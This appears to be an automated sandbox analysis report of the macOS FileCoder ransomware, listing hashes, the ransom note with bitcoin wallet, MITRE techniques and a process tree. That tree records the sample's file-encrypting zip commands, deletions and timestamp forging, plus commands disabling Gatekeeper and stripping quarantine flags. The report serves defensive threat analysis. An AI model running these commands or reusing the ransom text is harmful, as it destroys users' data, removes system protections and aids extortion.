macfilecoder | 9c3f4ee8eba7b34bb92c3a7a8f2cf50382363eb645e86b5b9eda5e576ea5d951

Resubmissions

28/03/2025, 15:18

250328-sp5nvaxyaw 1

27/03/2025, 10:37

250327-mn29faz1b1 10

Analysis

max time kernel
607s
max time network
516s
platform
macos-10.15_amd64
resource
macos-20241101-en
resource tags

arch:amd64arch:i386image:macos-20241101-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
submitted
27/03/2025, 10:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

FileCoder/FileCoder
Size

355KB
MD5

a4de8f25c75060b1a8cee817ec8e4e4a
SHA1

52b7efa7deeb2010665a7fc433a5ac33c4815875
SHA256

c9c7c7f1afa1d0760f63d895b8c9d5ab49821b2e4fe596b0c5ae94c308009e89
SHA512

5e29dbe0bb73400e45857c074429ca3a875065ad4938e222ff56052ed0cdec142aff15aba639a3713a393ce7baac26a6e648c21c87b9407ea6a8b9719316b501
SSDEEP

3072:tOttBofYRoEl5pXxMx5GaMmvdBJYbTqSsQdMky1vvizjMSmu8y2y+Eg74YYQ/uyH:efpBMxsaAT3Ak+azvgEqYQ5XPbFAXsr

Score

10^/10

macfilecoder defense_evasion discovery persistence privilege_escalation ransomware

Malware Config

Extracted

Path

/Users/run/Downloads/README!.txt

Ransom Note

NOT YOUR LANGUAGE? USE https://translate.google.com What happened to your files ? All of your files were protected by a strong encryption method. What do I do ? So , there are two ways you can choose: wait for a miracle or start obtaining BITCOIN NOW! , and restore YOUR DATA the easy way If You have really valuable DATA, you better NOT WASTE YOUR TIME, because there is NO other way to get your files, except make a PAYMENT FOLLOW THESE STEPS: 1) learn how to buy bitcoin https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_newbie_version) 2)send 0.25 BTC to 1EZrvz1kL7SqfemkH3P1VMtomYZbfhznkb 3)send your btc address and your ip (you can get your ip here https://www.whatismyip.com) via mail to [email protected] 4)leave your computer on and connected to the internet for the next 24 hours after payment, your files will be unlocked. (If you can not wait 24 hours make a payment of 0.45 BTC your files will be unlocked in max 10 minutes) KEEP IN MIND THAT YOUR DECRYPTION KEY WILL NOT BE STORED ON MY SERVER FOR MORE THAN 1 WEEK SINCE YOUR FILE GET CRYPTED,THEN THERE WON'T BE ANY METHOD TO RECOVER YOUR FILES, DON'T WASTE YOUR TIME!

Emails

[email protected]

Wallets

1EZrvz1kL7SqfemkH3P1VMtomYZbfhznkb

URLs

https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_newbie_version

https://www.whatismyip.com

Signatures

MacOSFilecoder
MacOSFilecoder family.
ransomware macfilecoder
Macfilecoder family
macfilecoder
Login Hook 1 TTPs
Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon.
persistence privilege_escalation

Login Hook
T1037.002

Queries the hardware information (I/O Kit registry). 1 TTPs 6 IoCs

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

discovery

System Information Discovery

T1082

ioc	Process
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Containers/com.microsoft.Powerpoint/Data/Library/Application Support/Microsoft/FontPreviewCache/en-GB/BraggadocioRegular👪1.png.crypt" "/Users//run/Library/Containers/com.microsoft.Powerpoint/Data/Library/Application Support/Microsoft/FontPreviewCache/en-GB/BraggadocioRegular👪1.png"	Process not Found
rm "/Users//run/Library/Containers/com.microsoft.Powerpoint/Data/Library/Application Support/Microsoft/FontPreviewCache/en-GB/BraggadocioRegular👪1.png"	Process not Found
touch -mt 201002130000 "/Users//run/Library/Containers/com.microsoft.Powerpoint/Data/Library/Application Support/Microsoft/FontPreviewCache/en-GB/BraggadocioRegular👪1.png.crypt"	Process not Found
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Containers/com.microsoft.Word/Data/Library/Application Support/Microsoft/FontPreviewCache/en-GB/BraggadocioRegular👪1.png.crypt" "/Users//run/Library/Containers/com.microsoft.Word/Data/Library/Application Support/Microsoft/FontPreviewCache/en-GB/BraggadocioRegular👪1.png"	Process not Found
rm "/Users//run/Library/Containers/com.microsoft.Word/Data/Library/Application Support/Microsoft/FontPreviewCache/en-GB/BraggadocioRegular👪1.png"	Process not Found
touch -mt 201002130000 "/Users//run/Library/Containers/com.microsoft.Word/Data/Library/Application Support/Microsoft/FontPreviewCache/en-GB/BraggadocioRegular👪1.png.crypt"	Process not Found

Resource Forking 1 TTPs 64 IoCs

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

defense_evasion

Resource Forking

T1564.009

ioc	Process
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches"	rm
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist.crypt"	touch
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj"	touch
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj"	rm
/System/Library/PreferencePanes/Profiles.prefPane/Contents/Resources/CPPrefPaneEnabledTool	zip
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj"	rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist"	rm
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj"	zip
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj"	touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist.crypt"	rm
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj"	rm
/System/Library/PreferencePanes/ClassroomSettings.prefPane/Contents/Resources/ClassroomSettingsVisibilityCheckTool	rm
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist"	touch
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters"	zip
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper	rm
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper	zip
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist"	rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist"	rm
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing"	rm
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist"	touch
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj"	rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex"	rm
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives"	touch
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs"	rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams"	touch
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist"	zip
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist"	touch
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl"	rm
/System/Library/PreferencePanes/Profiles.prefPane/Contents/Resources/CPPrefPaneEnabledTool	touch
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper	zip
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals"	rm
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj.crypt"	touch
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist"	rm
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration.crypt"	rm
/System/Library/PreferencePanes/Wallet.prefPane/Contents/Resources/walletAvailabilityCheckTool	rm
/System/Library/PreferencePanes/Sidecar.prefPane/Contents/Resources/sidecarPrefCheck	rm
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj.crypt"	rm
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist"	rm
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj.crypt"	rm
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist.crypt"	rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj"	touch
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper	rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist"	touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj.crypt"	touch
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist"	rm
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist.crypt"	rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration"	zip
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist"	rm
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj.crypt"	rm
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist.crypt"	zip
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj"	zip
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist.crypt"	rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist"	zip
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj"	rm
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj.crypt"	touch
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist"	zip
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj"	zip
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj.crypt"	rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist"	zip
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj"	rm
/System/Library/PreferencePanes/TouchID.prefPane/Contents/Resources/AllowPasswordPref	rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing"	rm
zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata"	rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives"	zip

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/FileCoder/FileCoder\""
1⤵
PID:457

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/FileCoder/FileCoder\""
1⤵
PID:457

/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/SpeechDataInstallerd.app/Contents/MacOS/SpeechDataInstallerd
/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/SpeechDataInstallerd.app/Contents/MacOS/SpeechDataInstallerd
1⤵
PID:446

/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/Library/LaunchServices/seedusaged
"/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/Library/LaunchServices/seedusaged"
1⤵
PID:443

/usr/libexec/pkreporter
/usr/libexec/pkreporter
1⤵
PID:449

/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer
/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer
1⤵
PID:453

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/FileCoder/FileCoder
1⤵
PID:457
- /bin/zsh
  /bin/zsh -c /Users/run/FileCoder/FileCoder
  2⤵
  PID:458
- /Users/run/FileCoder/FileCoder
  /Users/run/FileCoder/FileCoder
  2⤵
  PID:458

/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater
"/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater" -bgcheck
1⤵
PID:454

/usr/libexec/xpcproxy
xpcproxy com.apple.Safari.2028
1⤵
PID:490

/Applications/Safari.app/Contents/MacOS/Safari
/Applications/Safari.app/Contents/MacOS/Safari
1⤵
PID:490

/usr/libexec/xpcproxy
xpcproxy com.apple.Safari.History
1⤵
PID:491

/System/Library/PrivateFrameworks/SafariShared.framework/Versions/A/XPCServices/com.apple.Safari.History.xpc/Contents/MacOS/com.apple.Safari.History
/System/Library/PrivateFrameworks/SafariShared.framework/Versions/A/XPCServices/com.apple.Safari.History.xpc/Contents/MacOS/com.apple.Safari.History
1⤵
PID:491

/usr/libexec/xpcproxy
xpcproxy com.apple.WebKit.WebContent.EC242E66-BA54-499D-94B4-EE0ECA8D7B8C 490
1⤵
PID:492

/System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
/System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
1⤵
PID:492

/usr/libexec/xpcproxy
xpcproxy com.apple.SafariLaunchAgent
1⤵
PID:496

/Library/Apple/System/Library/CoreServices/SafariSupport.bundle/Contents/MacOS/SafariLaunchAgent
/Library/Apple/System/Library/CoreServices/SafariSupport.bundle/Contents/MacOS/SafariLaunchAgent
1⤵
PID:496

/usr/libexec/xpcproxy
xpcproxy com.apple.WebKit.WebContent.0E15437E-EEF8-4962-A258-D3C0B809ADAE 490
1⤵
PID:497

/System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
/System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
1⤵
PID:497

/usr/libexec/xpcproxy
xpcproxy com.apple.Safari.SearchHelper 490
1⤵
PID:500

/System/Library/PrivateFrameworks/SafariShared.framework/Versions/A/XPCServices/com.apple.Safari.SearchHelper.xpc/Contents/MacOS/com.apple.Safari.SearchHelper
/System/Library/PrivateFrameworks/SafariShared.framework/Versions/A/XPCServices/com.apple.Safari.SearchHelper.xpc/Contents/MacOS/com.apple.Safari.SearchHelper
1⤵
PID:500

/usr/libexec/xpcproxy
xpcproxy com.apple.nsurlstoraged
1⤵
PID:502

/usr/libexec/nsurlstoraged
/usr/libexec/nsurlstoraged --privileged
1⤵
PID:502

/usr/libexec/xpcproxy
xpcproxy com.apple.Safari.SafeBrowsing.Service
1⤵
PID:503

/System/Library/PrivateFrameworks/SafariSafeBrowsing.framework/com.apple.Safari.SafeBrowsing.Service
/System/Library/PrivateFrameworks/SafariSafeBrowsing.framework/com.apple.Safari.SafeBrowsing.Service
1⤵
PID:503

/usr/libexec/xpcproxy
xpcproxy com.apple.WebKit.WebContent.0EA4FD4A-D19A-47BD-92FA-5BC6A30E5C35 490
1⤵
PID:508

/System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
/System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
1⤵
PID:508

/usr/libexec/xpcproxy
xpcproxy com.apple.Safari.SandboxBroker 490
1⤵
PID:511

/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker
/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker
1⤵
PID:511

/usr/libexec/xpcproxy
xpcproxy com.apple.metadata.mdwrite
1⤵
PID:512

/usr/libexec/xpcproxy
xpcproxy "com.apple.xpc.launchd.oneshot.0x10000001.Archive Utility"
1⤵
PID:514

/System/Library/CoreServices/Applications/Archive Utility.app/Contents/MacOS/Archive Utility
"/System/Library/CoreServices/Applications/Archive Utility.app/Contents/MacOS/Archive Utility" -psn_0_176171
1⤵
PID:514

/usr/libexec/xpcproxy
xpcproxy com.apple.XprotectFramework.AnalysisService 402
1⤵
PID:515

/System/Library/PrivateFrameworks/XprotectFramework.framework/Versions/A/XPCServices/XprotectService.xpc/Contents/MacOS/XprotectService
/System/Library/PrivateFrameworks/XprotectFramework.framework/Versions/A/XPCServices/XprotectService.xpc/Contents/MacOS/XprotectService
1⤵
PID:515

/usr/bin/macbinary
/usr/bin/macbinary probe --verbose /Users/run/Downloads/FileCoder.zip
1⤵
PID:516

/usr/bin/file
/usr/bin/file -b /Users/run/Downloads/FileCoder.zip
1⤵
PID:517

/usr/libexec/xpcproxy
xpcproxy com.apple.archiveutility.auhelperservice 514
1⤵
PID:518

/System/Library/CoreServices/Applications/Archive Utility.app/Contents/XPCServices/AUHelperService.xpc/Contents/MacOS/AUHelperService
"/System/Library/CoreServices/Applications/Archive Utility.app/Contents/XPCServices/AUHelperService.xpc/Contents/MacOS/AUHelperService"
1⤵
PID:518

/System/Library/Frameworks/FileProvider.framework/XPCServices/ArchiveService.xpc/Contents/MacOS/ArchiveService
/System/Library/Frameworks/FileProvider.framework/XPCServices/ArchiveService.xpc/Contents/MacOS/ArchiveService
1⤵
PID:519

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:520

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:520

/usr/libexec/xpcproxy
xpcproxy com.apple.appkit.xpc.sandboxedServiceRunner 514
1⤵
PID:521

/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/SandboxedServiceRunner.xpc/Contents/MacOS/SandboxedServiceRunner
/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/SandboxedServiceRunner.xpc/Contents/MacOS/SandboxedServiceRunner
1⤵
PID:521

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.ui.helper
1⤵
PID:522

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
1⤵
PID:522

/usr/libexec/xpcproxy
xpcproxy com.apple.xpc.launchd.oneshot.0x10000002.TextEdit
1⤵
PID:523

/System/Applications/TextEdit.app/Contents/MacOS/TextEdit
/System/Applications/TextEdit.app/Contents/MacOS/TextEdit -psn_0_184365
1⤵
PID:523

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.ui.helper
1⤵
PID:524

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
1⤵
PID:524

/usr/libexec/xpcproxy
xpcproxy com.apple.xpc.launchd.oneshot.0x10000003.Terminal
1⤵
PID:525

/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal -psn_0_192559
1⤵
PID:525

/usr/libexec/xpcproxy
xpcproxy com.apple.systempreferences.2140
1⤵
PID:529

/System/Applications/System Preferences.app/Contents/MacOS/System Preferences
"/System/Applications/System Preferences.app/Contents/MacOS/System Preferences"
1⤵
PID:529

/usr/libexec/xpcproxy
xpcproxy com.apple.AccountProfileRemoteViewService 529
1⤵
PID:530

/System/Library/PrivateFrameworks/AOSUI.framework/Versions/A/XPCServices/AccountProfileRemoteViewService.xpc/Contents/MacOS/AccountProfileRemoteViewService
/System/Library/PrivateFrameworks/AOSUI.framework/Versions/A/XPCServices/AccountProfileRemoteViewService.xpc/Contents/MacOS/AccountProfileRemoteViewService
1⤵
PID:530

/System/Library/PreferencePanes/ClassroomSettings.prefPane/Contents/Resources/ClassroomSettingsVisibilityCheckTool
/System/Library/PreferencePanes/ClassroomSettings.prefPane/Contents/Resources/ClassroomSettingsVisibilityCheckTool
1⤵
PID:531

/System/Library/PreferencePanes/Profiles.prefPane/Contents/Resources/CPPrefPaneEnabledTool
/System/Library/PreferencePanes/Profiles.prefPane/Contents/Resources/CPPrefPaneEnabledTool
1⤵
PID:532

/System/Library/PreferencePanes/Sidecar.prefPane/Contents/Resources/sidecarPrefCheck
/System/Library/PreferencePanes/Sidecar.prefPane/Contents/Resources/sidecarPrefCheck
1⤵
PID:533

/System/Library/PreferencePanes/TouchID.prefPane/Contents/Resources/AllowPasswordPref
/System/Library/PreferencePanes/TouchID.prefPane/Contents/Resources/AllowPasswordPref
1⤵
PID:534

/System/Library/PreferencePanes/Wallet.prefPane/Contents/Resources/walletAvailabilityCheckTool
/System/Library/PreferencePanes/Wallet.prefPane/Contents/Resources/walletAvailabilityCheckTool
1⤵
PID:535

/usr/libexec/xpcproxy
xpcproxy com.apple.nfcd
1⤵
PID:536

/usr/libexec/nfcd
/usr/libexec/nfcd
1⤵
PID:536

/usr/libexec/xpcproxy
xpcproxy com.apple.studentd
1⤵
PID:537

/usr/libexec/studentd
/usr/libexec/studentd
1⤵
PID:537

/usr/libexec/xpcproxy
xpcproxy com.apple.preference.security.remoteservice 529
1⤵
PID:538

/System/Library/PreferencePanes/Security.prefPane/Contents/XPCServices/com.apple.preference.security.remoteservice.xpc/Contents/MacOS/com.apple.preference.security.remoteservice
/System/Library/PreferencePanes/Security.prefPane/Contents/XPCServices/com.apple.preference.security.remoteservice.xpc/Contents/MacOS/com.apple.preference.security.remoteservice
1⤵
PID:538

/usr/libexec/xpcproxy
xpcproxy com.apple.sysextd
1⤵
PID:539

/System/Library/Frameworks/SystemExtensions.framework/Versions/A/Helpers/sysextd
/System/Library/Frameworks/SystemExtensions.framework/Versions/A/Helpers/sysextd
1⤵
PID:539

/usr/libexec/xpcproxy
xpcproxy com.apple.preferencepane.security.PrivacyAnalytics 538
1⤵
PID:540

/usr/libexec/xpcproxy
xpcproxy com.apple.preferencepane.security.AdvertisingExtension 538
1⤵
PID:541

/System/Library/PrivateFrameworks/PreferencePanesSupport.framework/PlugIns/PrivacyAnalytics.appex/Contents/MacOS/PrivacyAnalytics
/System/Library/PrivateFrameworks/PreferencePanesSupport.framework/PlugIns/PrivacyAnalytics.appex/Contents/MacOS/PrivacyAnalytics
1⤵
PID:540

/System/Library/PrivateFrameworks/PreferencePanesSupport.framework/PlugIns/AdvertisingExtension.appex/Contents/MacOS/AdvertisingExtension
/System/Library/PrivateFrameworks/PreferencePanesSupport.framework/PlugIns/AdvertisingExtension.appex/Contents/MacOS/AdvertisingExtension
1⤵
PID:541

/usr/libexec/xpcproxy
xpcproxy com.apple.spindump
1⤵
PID:542

/usr/sbin/spindump
/usr/sbin/spindump
1⤵
PID:542

/usr/libexec/xpcproxy
xpcproxy com.apple.spindump_agent
1⤵
PID:543

/usr/libexec/spindump_agent
/usr/libexec/spindump_agent
1⤵
PID:543

/usr/libexec/xpcproxy
xpcproxy com.apple.xpc.launchd.oneshot.0x10000004.Terminal
1⤵
PID:544

/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal -psn_0_221238
1⤵
PID:544
- /usr/bin/login
  login -pf run
  2⤵
  PID:545
- - /bin/zsh
    -zsh
    3⤵
    PID:546
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:547
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:548
- /usr/bin/login
  login -pf run
  2⤵
  PID:549
- - /bin/zsh
    -zsh
    3⤵
    PID:550
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:551
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:552
  - - /Users/run/Downloads/FileCoder/FileCoder
      /Users/run/Downloads/FileCoder/FileCoder
      4⤵
      PID:553
- /usr/bin/login
  login -pf run
  2⤵
  PID:568
- - /bin/zsh
    -zsh
    3⤵
    PID:569
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:570
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:571
  - - /Users/run/Downloads/FileCoder/FileCoder
      /Users/run/Downloads/FileCoder/FileCoder
      4⤵
      PID:572
- /usr/bin/login
  login -pf run
  2⤵
  PID:605
- - /bin/zsh
    -zsh
    3⤵
    PID:606
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:607
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:608
  - - /usr/bin/sudo
      sudo spctl-- master disable
      4⤵
      PID:609
  - - /usr/bin/sudo
      sudo spctl-- master disable
      4⤵
      PID:610
  - - /usr/bin/sudo
      sudo spctl master --disable
      4⤵
      PID:611
    - - /usr/sbin/spctl
        
        spctl master --disable
        5⤵
        
        PID:612
  - - /usr/bin/sudo
      sudo spctl --master disable
      4⤵
      PID:613
    - - /usr/sbin/spctl
        
        spctl --master disable
        5⤵
        
        PID:614
  - - /usr/bin/sudo
      sudo spctl --disable
      4⤵
      PID:615
    - - /usr/sbin/spctl
        
        spctl --disable
        5⤵
        
        PID:616
  - - /usr/bin/sudo
      sudo spctl --master-disable
      4⤵
      PID:621
    - - /usr/sbin/spctl
        
        spctl --master-disable
        5⤵
        
        PID:622
- /usr/bin/login
  login -pf run
  2⤵
  PID:625
- - /bin/zsh
    -zsh
    3⤵
    PID:626
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:627
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:628
  - - /usr/bin/sudo
      sudo xattr -r -d com.apple.quarantine "/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app"
      4⤵
      PID:633
    - - /usr/bin/xattr
        
        xattr -r -d com.apple.quarantine "/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app"
        5⤵
        
        PID:634

/usr/libexec/xpcproxy
